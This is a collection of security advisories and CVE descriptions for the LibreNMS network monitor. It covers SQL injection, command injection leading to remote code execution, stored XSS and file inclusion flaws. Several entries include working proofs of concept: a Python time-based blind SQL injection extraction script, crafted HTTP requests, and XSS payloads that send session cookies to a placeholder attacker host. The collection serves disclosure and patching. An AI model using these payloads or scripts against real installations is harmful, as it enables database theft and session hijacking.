Insufficient Session Expiration in GitHub repository librenms/librenms prior to 22.10.0.
Summary SQL Injection in IPv6 Address Search functionality via address parameter
A SQL injection vulnerability exists in the ajaxtable.php endpoint. The application fails to properly sanitize or parameterize user input when processing IPv6 address searches. Specifically, the address parameter is split into an address and a prefix, and the prefix portion is directly concatenated into the SQL query string without validation. This allows an attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access or database manipulation.
Details The vulnerability is located in the logic that handles address searching when searchtype is set to ipv6.
The application takes the user-supplied address parameter and splits it using the / delimiter: PHP [$address, $prefix] = explode('/', $vars['address']); If the searchtype is ipv6 and the $prefix variable is not empty, the code constructs the SQL query by directly concatenating the $prefix variable into the string: } elseif ($vars['searchtype'] == 'ipv6') { // ... code omitted ... if (! empty($prefix)) { // VULNERABILITY: Direct concatenation of user input $sql .= " AND ipv6prefixlen = '$prefix'"; } } Unlike the ipv4 block, which attempts to use prepared statements (binding parameters via $param[]), the ipv6 block treats the prefix as a raw string. By supplying an input containing a /, an attacker can populate the $prefix variable. If this variable contains single quotes ('), it breaks out of the string literal in the SQL statement, enabling SQL injection.
Vulnerable Code Snippet: if (! empty($prefix)) { $sql .= " AND ipv6prefixlen = '$prefix'"; } PoC To reproduce this vulnerability, an attacker can send a specially crafted HTTP POST request to the ajaxtable.php endpoint.
Payload breakdown:
- searchtype=ipv6: Forces the execution flow into the vulnerable elseif block.
- address=snow/1nd'":
- The explode function splits this into $address = 'snow' and $prefix = "1nd'"".
- The SQL query becomes: ... AND ipv6prefixlen = '1nd'"'.
- The single quote ' closes the string definition in the SQL query, and the subsequent characters allow for SQL syntax manipulation.
Reproduction Steps:
1. Access the application instance.
2. Send the following request (adjusting the host as necessary): POST /ajaxtable.php HTTP/1.1 Host: localhost id=address-search&searchtype=ipv6&address=snow/1nd'" Impact This vulnerability allows an attacker to execute arbitrary SQL queries against the database.
LibreNMS through 26.4.0 renders JSON fields (name, ip, model, author, commit message) returned by the admin-configurable Oxidized integration URL (oxidized.url) into the device showconfig page without applying htmlspecialchars(). An administrator who points the Oxidized URL at an attacker-controlled server (SSRF) can cause it to return malicious JSON, resulting in stored/persistent cross-site scripting affecting all users who view any device's showconfig tab. Fixed in 26.7.0.
Summary An authenticated attacker can create dangerous directory names on the system and alter sensitive configuration parameters through the web portal. Those two defects combined then allows to inject arbitrary OS commands inside shellexec() calls, thus achieving arbitrary code execution.
Details OS Command Injection We start by inspecting the file app/Http/Controllers/AboutController.php, more particularly the index() method which is executed upon simply visiting the /about page: php public function index(Request $request) { $version = Version::get();
return view('about.index', [ <TRUNCATED>
'versionwebserver' => $request->server('SERVERSOFTWARE'), 'versionrrdtool' => Rrd::version(), 'versionnetsnmp' => strreplace('version: ', '', rtrim(shellexec(Config::get('snmpget', 'snmpget') . ' -V 2>&1'))),
<TRUNCATED> ]); }
We can see that the versionnetsnmp key receives a value direclty dependent of a shellexec() call. The argument to this call reflects a configuration parameter with no sanitization. Should an attacker identify a way to alter this parameter, the server is at risk of being compromised.
Configuration parameters poisoning We now focus on the update() method of the SettingsController.php script. This method is called when the user visits the route /settings/{key} via HTTP PUT. The key parameter here is simply the name of the configuration key the user wishes to modify. php public function update(DynamicConfig $config, Request $request, $id) { $value = $request->get('value');
if (! $config->isValidSetting($id)) { return $this->jsonResponse($id, ':id is not a valid setting', null, 400); }
$current = \LibreNMS\Config::get($id); $configitem = $config->get($id);
if (! $configitem->checkValue($value)) { return $this->jsonResponse($id, $configitem->getValidationMessage($value), $current, 400); }
if (\LibreNMS\Config::persist($id, $value)) { return $this->jsonResponse($id, "Successfully set $id", $value); }
return $this->jsonResponse($id, 'Failed to update :id', $current, 400); }
We can see that some protections are implemented around the configuration parameters by $configitem->checkValue($value), with a format of data being expected depending on the data type of the variable the user wants to modify. Specifically, the snmpget configuration variable expects a valid path to an existing binary on the system. To summarize : if an attacker finds a valid full-path to a system binary, while that full-path also holds shell metacharacters, then those characters would be interpreted by the shellexec() call defined above and allow for arbitrary command execution.
Arbitrary directory creation When creating a new Device through the "Add Device" page, the server allows the user to send malformed or impossible hostnames and force the data to be stored, with no sanitization being performed on this field.
In the file app/Jobs/PollDevice.php, the initRrdDirectory() method is responsible for creating a directory named after the Device's hostname. We can see the mkdir() call inside the try block: php private function initRrdDirectory(): void { $hostrrd = \Rrd::name($this->device->hostname, '', ''); if (Config::get('rrd.enable', true) && ! isdir($hostrrd)) { try { mkdir($hostrrd); Log::info("Created directory : $hostrrd"); } catch (\ErrorException $e) { Eventlog::log("Failed to create rrd directory: $hostrrd", $this->device); Log::info($e); } } }
This method is called by initDevice(), which is itself called by the handle() method (executed when the job starts). \Rrd::name() simply concatenates a string following the format <LIBRENMSINSTALLDIR>/rrd/<DEVICEHOSTNAME>.
Summary With all this, an authenticated attacker can: - Create a malicious Device with shell metacharacters inside its hostname - Force the creation of directory containing shell metacharacters through the PollDevice job - Modify the snmpget configuration variable to point to a valid system binary, while also using the directory created in the previous step via a path traversal (i.e: /path/to/install/dir/rrd/<DEVICEHOSTNAME>/../../../../../../../bin/ls) - Trigger a code execution via the shellexec() call contained in the AboutController.php script
PoC For proof of concept, we will create a file located at /tmp/rce-proof on the server's filesystem.
Consider the following command : /usr/bin/touch /tmp/rce-proof, encoded in base64 (L3Vzci9iaW4vdG91Y2ggL3RtcC9yY2UtcHJvb2Y=). This encoding is necesary whenever the command contains '/' characters, as this would otherwise generate invalid directory paths. Create a new Device with a name that contains the command you wish to execute enclosed in semi-colons, ending with a '3' character: !librenms-1
Be careful to tick the "Force Add" option, otherwise the request will be rejected. Click add: !librenms-2
A directory matching the hostname of the Device will be created whenever a PollDevice job is launched. For the purpose of the demonstration, we will be triggering this manually with artisan: !librenms-4
We can confirm that this directory indeed exists on the system: !librenms-5
We can now update the snmpget parameter value to point to any binary on the system, making sure that the specified path includes the directory that was just created: !librenms-13
Visiting the /about page will trigger the payload, then we can check that our code was indeed executed: !librenms-10
Impact Server takeover
Summary A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.
Details This vulnerability requires authentication and is exploitable by any authenticated user.
The vulnerable endpoint is at /ajaxtable.php with the following request displaying the injection point. POST /ajaxtable.php HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/search Cookie: laravelsession=[Authenticated user cookie]
current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&searchtype=ipv4&deviceid=1&interface=&address=127.0.0.1/aa<injected SQL here>
Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.
php // Lines 16-35, 51-53 $address = $vars['address'] ?? ''; $prefix = ''; $sort = trim((string) $sort);
if (strcontains($address, '/')) { [$address, $prefix] = explode('/', $address, 2); }
if ($searchtype == 'ipv4') { $sql = ' FROM ipv4addresses AS A, ports AS I, devices AS D'; $sql .= ' WHERE I.portid = A.portid AND I.deviceid = D.deviceid ' . $where . ' ';
if (! empty($address)) { $sql .= ' AND ipv4address LIKE ?'; $param[] = "%$address%"; }
if (! empty($prefix)) { $sql .= " AND ipv4prefixlen='$prefix'"; }
......
if (! empty($prefix)) { $sql .= " AND ipv6prefixlen = '$prefix'"; }
PoC The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENTUSER() from the database: python #!/usr/bin/python3
import requests import sys import re
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disablewarnings(category=InsecureRequestWarning)
Configured to be used with burpsuite on the default burpsuite port of 8080 proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
When None is returned it means that all values have been retrieved from the queried value in the target DB def blindbinsearchsqli(injstr): try: a = range(32,126) start = 0 end = len(a) while start <= end: mid = (start + end) // 2 targetequal = injstr.replace("[CHAR]", str(a[mid])) targetless = injstr.replace("=[CHAR]", f"<{a[mid]}")
# Return ascii decimal value for storing to a local string buffer if condition(targetequal): return a[mid] # Use lower half of the "a" array elif condition(targetless): end = mid - 1 # Use upper half of the "a" array else: start = mid + 1 return None except IndexError: return None
Check injection result def condition(payload): exploitdata = { "current": "1", "rowCount": "50", "sort[hostname]": "asc", "searchPhrase": "", "id": "address-search", "searchtype": "ipv4", "deviceid": "1", "interface": "", "address": f"127.0.0.1/aa{payload}" } # Payload must be slotted in somewhere in this code payloadurl = f"{url}/ajaxtable.php"
r = s.post(payloadurl, data=exploitdata)
elapsedtimeseconds = r.elapsed.totalseconds()
# If response time is within sleep function delay range of +1 or -1 second the query returned "true" if (elapsedtimeseconds + 1) > (sleepdelay 2) and (elapsedtimeseconds - 1) < (sleepdelay 2): return True else: return False
def getlength(inj): length = 0 print(f"(+) Getting the length of \"{inj}\"") while True: # MySQL #lengthinjectionstring = f" AND LENGTH(({inj}))={str(length)}-- -" lengthinjectionstring = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleepdelay}),0))x) AND '1'='1"
boolvalue = condition(lengthinjectionstring)
if boolvalue == False: length += 1 else: return length
def injection(injectqry): extracted = "" length = getlength(injectqry) print(f"Length of \"{injectqry}\": {length}") print(f"(+) Retrieving the value for \"{injectqry}\"")
# +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted for i in range(1, length + 2): # MySQL injectionstring = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({injectqry}),{i},1))=[CHAR],SLEEP({sleepdelay}),0))x) AND '1'='1"
retrievedvalue = blindbinsearchsqli(injectionstring)
if retrievedvalue: extracted += chr(retrievedvalue) extractedchar = chr(retrievedvalue) print(extractedchar, flush=True, end="") elif retrievedvalue == None: print("\n(+) done!\n") return extracted
global url global s global sleepdelay global username global password
Default sleep delay, due to injection query used the response time will be sleepdelay 2 sleepdelay = 1.5
s = requests.Session()
HTTPS s.verify = False
Toggle debug proxy #s.proxies.update(proxies)
url = "http://192.168.236.131"
username = "tester2" password = "Adminbazinga"
if len(sys.argv) > 1: url = sys.argv[1] if len(sys.argv) > 2: username = sys.argv[2] if len(sys.argv) > 3: password = sys.argv[3] if len(sys.argv) > 4: sleepdelay = float(sys.argv[4])
r = s.get(url + "/login")
logintoken = re.search(r"name=\"token\"\s+value=\"([^\"]+)\"", r.text).group(1)
logindata = { "token": logintoken, "username": username, "password": password, "submit": "" }
r = s.post(url + "/login", data=logindata)
Example: python3 script.py http://127.0.0.1 username password 1.5 if name == "main": injection("SELECT CURRENTUSER()")
Tester user role: <img width="771" height="154" alt="image" src="https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13" />
Example usage of PoC script: <img width="924" height="104" alt="image" src="https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960" />
Impact Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques. This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data. An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.
An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can extract all the information from the LibreNMS database via a SQL injection in the address parameter in the /ajaxtable.php API endpoint.
An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can execute arbitrary shell commands through a command injection in the /graph.php API endpoint.
An issue was discovered in LibreNMS 1.65. A remote authenticated attacker with normal privileges can extract all the information from the LibreNMS database via a SQL injection in the sort parameter in the /ajaxtable.php API endpoint. This affects address-search.inc.php, alertlog.inc.php, arp-search.inc.php, as-selection.inc.php, bills.inc.php, devicemibs.inc.php, deviceoids.inc.php, edit-ports.inc.php, eventlog.inc.php, inventory.inc.php, ix-list.inc.php, ix-peers.inc.php, mempool-edit.inc.php, mempool.inc.php, mibs.inc.php, poll-log.inc.php, processor-edit.inc.php, processor.inc.php, routing-edit.inc.php, sensors-common.inc.php, storage-edit.inc.php, storage.inc.php, tnmsneinfo.inc.php, and toner.inc.php (in includes/html/table).
LibreNMS before 26.8.0 contains an argument injection vulnerability in the graphtitle parameter that allows authenticated attackers to inject arbitrary rrdtool arguments by breaking out of double-quote escaping. Attackers can inject DEF and LINE arguments to read RRD files from unauthorized devices, or use newline injection to execute arbitrary rrdtool commands, bypassing per-device authorization checks.
Improper Access Control in Packagist librenms/librenms prior to 22.2.0.
LibreNMS’s Virtualization Discovery module is vulnerable to command line injection. An authenticated admin user can execute arbitrary code on the host server.
LibreNMS versions >= 23.10.0 and < 26.2.0 (fixed in 26.4.0) contain an authenticated OS command injection vulnerability in libvirt discovery. When libvirt support is enabled (enablelibvirt=true), the device hostname ($this->getDevice()->hostname) is concatenated into shell commands (ssh, virsh list/dumpxml/domstate) in VminfoLibvirt.php and passed to exec() without escapeshellarg() or argument separation. An authenticated admin can set a crafted device hostname to inject arbitrary OS commands, leading to remote code execution in the discovery worker context.
LibreNMS versions before 26.3.0 are affected by an authenticated remote code execution vulnerability by abusing the Binary Locations config and the Netcommand feature. Successful exploitation requires administrative privileges. Exploitation could result in compromise of the underlying web server.
LibreNMS 1.46 contains an authenticated SQL injection vulnerability in the MAC accounting graph endpoint that allows remote attackers to extract database information. Attackers can exploit the vulnerability by manipulating the 'sort' parameter with crafted SQL injection techniques to retrieve sensitive database contents through time-based blind SQL injection.
LibreNMS before 26.3.1 contains a stored cross-site scripting vulnerability in legacy PHP templates that output SNMP-sourced and syslog-sourced data without escaping. An attacker who controls a monitored network device can inject arbitrary JavaScript through SNMP interface descriptions or syslog program fields that executes when authenticated users view affected pages.
Exposure of Sensitive Information to an Unauthorized Actor in Packagist librenms/librenms prior to 22.2.0.
A Local File Inclusion (LFI) vulnerability in the NFSen module (nfsen.inc.php) of LibreNMS 22.11.0-23-gd091788f2 allows authenticated attackers to include arbitrary PHP files from the server filesystem via path traversal sequences in the nfsen parameter.
Summary reflected xss via email field
Details 1. visit http://127.0.0.1/settings/alerting/email 2. in the email address input but this payload <img src=1 onerror=alert(document.cookie)> 3. notice the alert PoC - video attached with the report https://github.com/user-attachments/assets/c1b443f5-85c6-4545-b04f-def06d82b42e
Impact can lead to ATO
The installation process in LibreNMS before 2017-08-18 allows remote attackers to read arbitrary files, related to html/install.php.
LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Prior to version 25.12.0, the Alert Rule API is vulnerable to stored cross-site scripting. Alert rules can be created or updated via LibreNMS API. The alert rule name is not properly sanitized, and can be used to inject HTML code. This issue has been patched in version 25.12.0.
Summary The unit parameter in Custom OID functionality lacks striptags() sanitization while other fields (name, oid, datatype) are sanitized. The unsanitized value is stored in the database and rendered without HTML escaping, allowing Stored XSS.
Details Vulnerable Input Processing (includes/html/forms/customoid.inc.php lines 18-21): php $name = striptags((string) $POST['name']); // line 18 - SANITIZED $oid = striptags((string) $POST['oid']); // line 19 - SANITIZED $datatype = striptags((string) $POST['datatype']); // line 20 - SANITIZED $unit = $POST['unit']; // line 21 - NOT SANITIZED!
Vulnerable Output (graphs/customoid.inc.php lines 13-20): php $customoidunit = $customoid['customoidunit']; // Retrieved from DB $customoidcurrent = \LibreNMS\Util\Number::formatSi(...) . $customoidunit; echo "...$customoidcurrent..."; // ECHOED WITHOUT ESCAPING!
PoC
python #!/usr/bin/env python3 """ XSS test for LibreNMS Custom OID - unit parameter """
import html as htmlmodule import re
def striptags(value): return re.sub(r'<[^>]?>', '', str(value))
Simulate form processing (customoid.inc.php lines 18-21) testinputs = { 'name': '<script>alert(1)</script>Test OID', 'oid': '1.3.6.1.4.1.2021.10.1.3.1', 'datatype': 'GAUGE', 'unit': '<script>alert("XSS")</script>', }
name = striptags(testinputs['name']) # Sanitized oid = striptags(testinputs['oid']) # Sanitized datatype = striptags(testinputs['datatype']) # Sanitized unit = testinputs['unit'] # NOT SANITIZED!
print("Input Processing Analysis:") print(f" name (striptags): {name}") print(f" oid (striptags): {oid}") print(f" datatype (striptags): {datatype}") print(f" unit (NO striptags): {unit}") print() print(" VULNERABILITY: 'unit' parameter has NO striptags()! ")
Test XSS payloads payloads = [ '<script>alert("XSS")</script>', '<img src=x onerror=alert(1)>', '<svg onload=alert(1)>', ]
print("\nXSS Payload Tests:") for payload in payloads: escaped = htmlmodule.escape(payload) hasxss = '<script>' in payload or 'onerror=' in payload.lower() print(f" Payload: {payload}") print(f" Raw (vulnerable): Contains executable code: {hasxss}") print(f" Escaped (safe): {escaped}")
Expected Output
Input Processing Analysis: name (striptags): alert(1)Test OID oid (striptags): 1.3.6.1.4.1.2021.10.1.3.1 datatype (striptags): GAUGE unit (NO striptags): <script>alert("XSS")</script>
VULNERABILITY: 'unit' parameter has NO striptags()! Impact - Attack Vector: User with device edit permissions sets malicious Unit value - Exploitation: XSS payload stored in database, executes for all users viewing device graphs - Consequences: - Session hijacking via cookie theft - Admin account takeover - Malicious actions on behalf of victims - Persistent attack affecting all users - Affected Users: All LibreNMS installations with Custom OID feature
A user is able to enable their own account if it was disabled by an admin while the user still holds a valid session. Moreover, the username is not properly sanitized in the admin user overview. This enables an XSS attack that enables an attacker with a low privilege user to execute arbitrary JavaScript in the context of an admin's account.
Cross-site Scripting (XSS) - Stored in GitHub repository librenms/librenms prior to 22.10.0.
LibreNMS before 26.5.0 contains stored cross-site scripting vulnerabilities in VRF display pages where mplsVpnVrfDescription, vrfname, and mplsVpnVrfRouteDistinguisher fields from SNMP polling are rendered without sanitization. Attackers controlling a monitored network device can inject arbitrary JavaScript through SNMP responses that executes in the browser of any user viewing VRF-related pages.
Summary /device-groups name Stored Cross-Site Scripting - HTTP POST - Request-URI(s): "/device-groups" - Vulnerable parameter(s): "name" - Attacker must be authenticated with "admin" privileges. - When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. - After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.
Details The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/device-group/index.blade.php: @section('title', ('Device Groups')) @section('content') <div class="container-fluid"> <x-panel id="manage-device-groups-panel"> // [...Truncated...] @foreach($devicegroups as $devicegroup) // [...Truncated...]
<button type="button" class="btn btn-danger btn- sm" title="{{ ('delete Device Group') }}" aria-label="{{ ('Delete') }}" onclick="deletedg(this, '{{$devicegroup->name }}', '{{ route('device-groups.destroy', $devicegroup->id) }}')"> // using the device's name in the Delete button functionality without sanitizing for XSS related characters/strings
As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.
PoC - Login - Select Devices > Manage Groups - Select New Device Group - Input 12345');var pt=new Image();pt.src='http://<ATTACKERIP>/cookie- - '.concat(document.cookie);document.body.appendChild(pt);deletedg(this, '12345 into - the "Name" input box (change <ATTACKERIP> to be an the IP of an attacker controlled webserver) - Select "accesspoints.accesspointid" as the Conditional input - Input 1 into the Conditional value input box - Select Save - Select the Delete Icon for the newly created Device Group - Select OK - The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled - server, leaking the user's cookies.
Impact Attacker Controlled server's logs: 192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie- jqCookieJaroptions=%7B%7D;%20SWIFTcookieconsent=dismiss;%20CookieAuth=%5B%22emai
l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh
LnQxXHlpw3abw4C74y%22%5D;%20XSRF- TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL
Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0 ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36"
Summary /port-groups name Stored Cross-Site Scripting
- HTTP POST - Request-URI(s): "/port-groups" - Vulnerable parameter(s): "name" - Attacker must be authenticated with "admin" privileges. - When a user adds a port group, an HTTP POST request is sent to the Request-URI "/port-groups". The name of the newly created port group is stored in the value of the name parameter. - After the port group is created, the entry is displayed along with some relevant buttons like Edit and Delete.
Details The vulnerability exists as the name of the port group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:
resources/views/port-group/index.blade.php: @extends('layouts.librenmsv1') @section('title', ('Port Groups')) @section('content') <div class="container-fluid"> <x-panel id="manage-port-groups-panel"> // [...Truncated...] @foreach($portgroups as $portgroup) // [...Truncated...]
<button type="button" class="btn btn-danger btn- sm" title="{{ ('delete Port Group') }}" aria-label="{{ ('Delete') }}"
onclick="deletepg(this, '{{ $portgroup- name }}', '{{ route('port-groups.destroy', $portgroup->id) }}')"> // using the port's name in the Delete button functionality without sanitizing for XSS related characters/strings
As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.
PoC - Login - Select Ports > Manage Port Groups - Select New Port Group - Input 12345');varpt=newImage();pt.src='http://<ATTACKERIP>/cookiePG'.concat(document.cookie);document.body.appendChild(pt);deletepg(this, '12345 into the "Name" input box (change <ATTACKERIP> to be an the IP of an attacker controlled webserver) - Select Save - Select the Delete Icon for the newly created Port Group - Select OK - The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled server, leaking the user's cookies.
Summary A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.
Details The stored JavaScript is displayed at line 63 of inlcudes/html/modal/alertrulelist.inc.php. <td><i>" . e($ruledisplay) . "</i></td>
PoC
Request PoC: POST /alert-rule HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF X-Requested-With: XMLHttpRequest Content-Length: 718 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravelsession=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D Priority: u=0
token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&deviceid=1&devicename=127.0.0.1&ruleid=&builderjson=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22accesspoints.accesspointid%22%2C%22field%22%3A%22accesspoints.accesspointid%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builderrule0filter=accesspoints.accesspointid&builderrule0operator=equal&builderrule0value0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=&advquery=
Steps to reproduce: 1. Create and save an alert rule within a device with the following values: <img width="893" height="325" alt="image" src="https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea" />
2. Injected JavaScript is executed: <img width="1104" height="565" alt="image" src="https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b" />
Impact Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.
LibreNMS versions <= 26.4.0 contain a stored cross-site scripting vulnerability in the graphdescr.<graphtype> configuration settings, which are echoed verbatim without HTML escaping in includes/html/pages/graphs.inc.php. An administrator can store a malicious HTML payload that executes in the browser of any authenticated user who views the affected graph type. The issue is fixed in version 26.7.0.
Cross-site Scripting (XSS) - Generic in GitHub repository librenms/librenms prior to 22.10.0.
Summary A Stored Cross-Site Scripting (XSS) vulnerability exists in the ShowConfig page of devices affected by the RANCID Integration settings. The application fails to properly sanitise the rancidrepourl configuration value. When a user navigates to a device's configuration page, this unsanitised value is rendered directly within an HTML anchor (<a>) tag. This allows an authenticated user with permission to modify external settings to inject malicious JavaScript that will execute in the browser of any user viewing the affected device pages.
Details The vulnerability is located in the external settings configuration block, specifically at the settings/external/rancid endpoint. When a valid rancidconfigs is set, the application renders the corresponding rancidrepourl as a clickable link labeled "Git Repository" on the /device/{id}/showconfig UI.
Because the rancidrepourl input is neither validated upon saving nor contextually encoded upon rendering, an attacker can break out of the href attribute context or use JavaScript URIs to attach malicious event handlers or scripts.
This vulnerability is introduced by the line 13 of https://github.com/librenms/librenms/blob/master/includes/html/pages/device/showconfig.inc.php.
PoC 1. Login as an admin and navigate to /settings/external/rancid. <img width="790" height="155" alt="image" src="https://github.com/user-attachments/assets/348fff1b-dfce-4735-9273-055113695368" />
2. Add a valid path to rancidconfigs. This can be any directory ended with .git. 3. Put "></a><img/src/onerror=alert(1)><a x=" into rancidrepourl config. <img width="909" height="276" alt="image" src="https://github.com/user-attachments/assets/b8c5d650-ba05-4326-8a2d-bea8defa7373" />
4. Navigate to a device page and click Config (Or visit /device/{id}/showconfig directly). 5. The XSS is triggered when visiting the page. It will pop up an alert dialog. <img width="810" height="454" alt="image" src="https://github.com/user-attachments/assets/4d15784e-ff93-46ec-b13e-08a225a8d6d4" />
Other Payloads
- javascript:alert(1)" x=" - triggered by clicking the link. - " onmouseover="alert(1)" x=" - triggered by hovering on the link
Impact Since an admin account is required to change the settings, the risk is minimal in systems with a single administrator. However, in environments with multiple administrative users, this constitutes an Admin-to-Admin Cross-Site Scripting attack. It could be used by a compromised admin account to execute arbitrary frontend code in the context of another administrator's session, potentially leading to session hijacking or unauthorized data exposure.
Remediation Advice Ensure proper sanitisation is performed on affected fields, with all special characters escaped and HTML encoded. This can be done with existing frameworks like HTMLPurifier.
CVE Request CVE References: https://projectblack.io/blog/librenms-authenticated-rce-and-xss/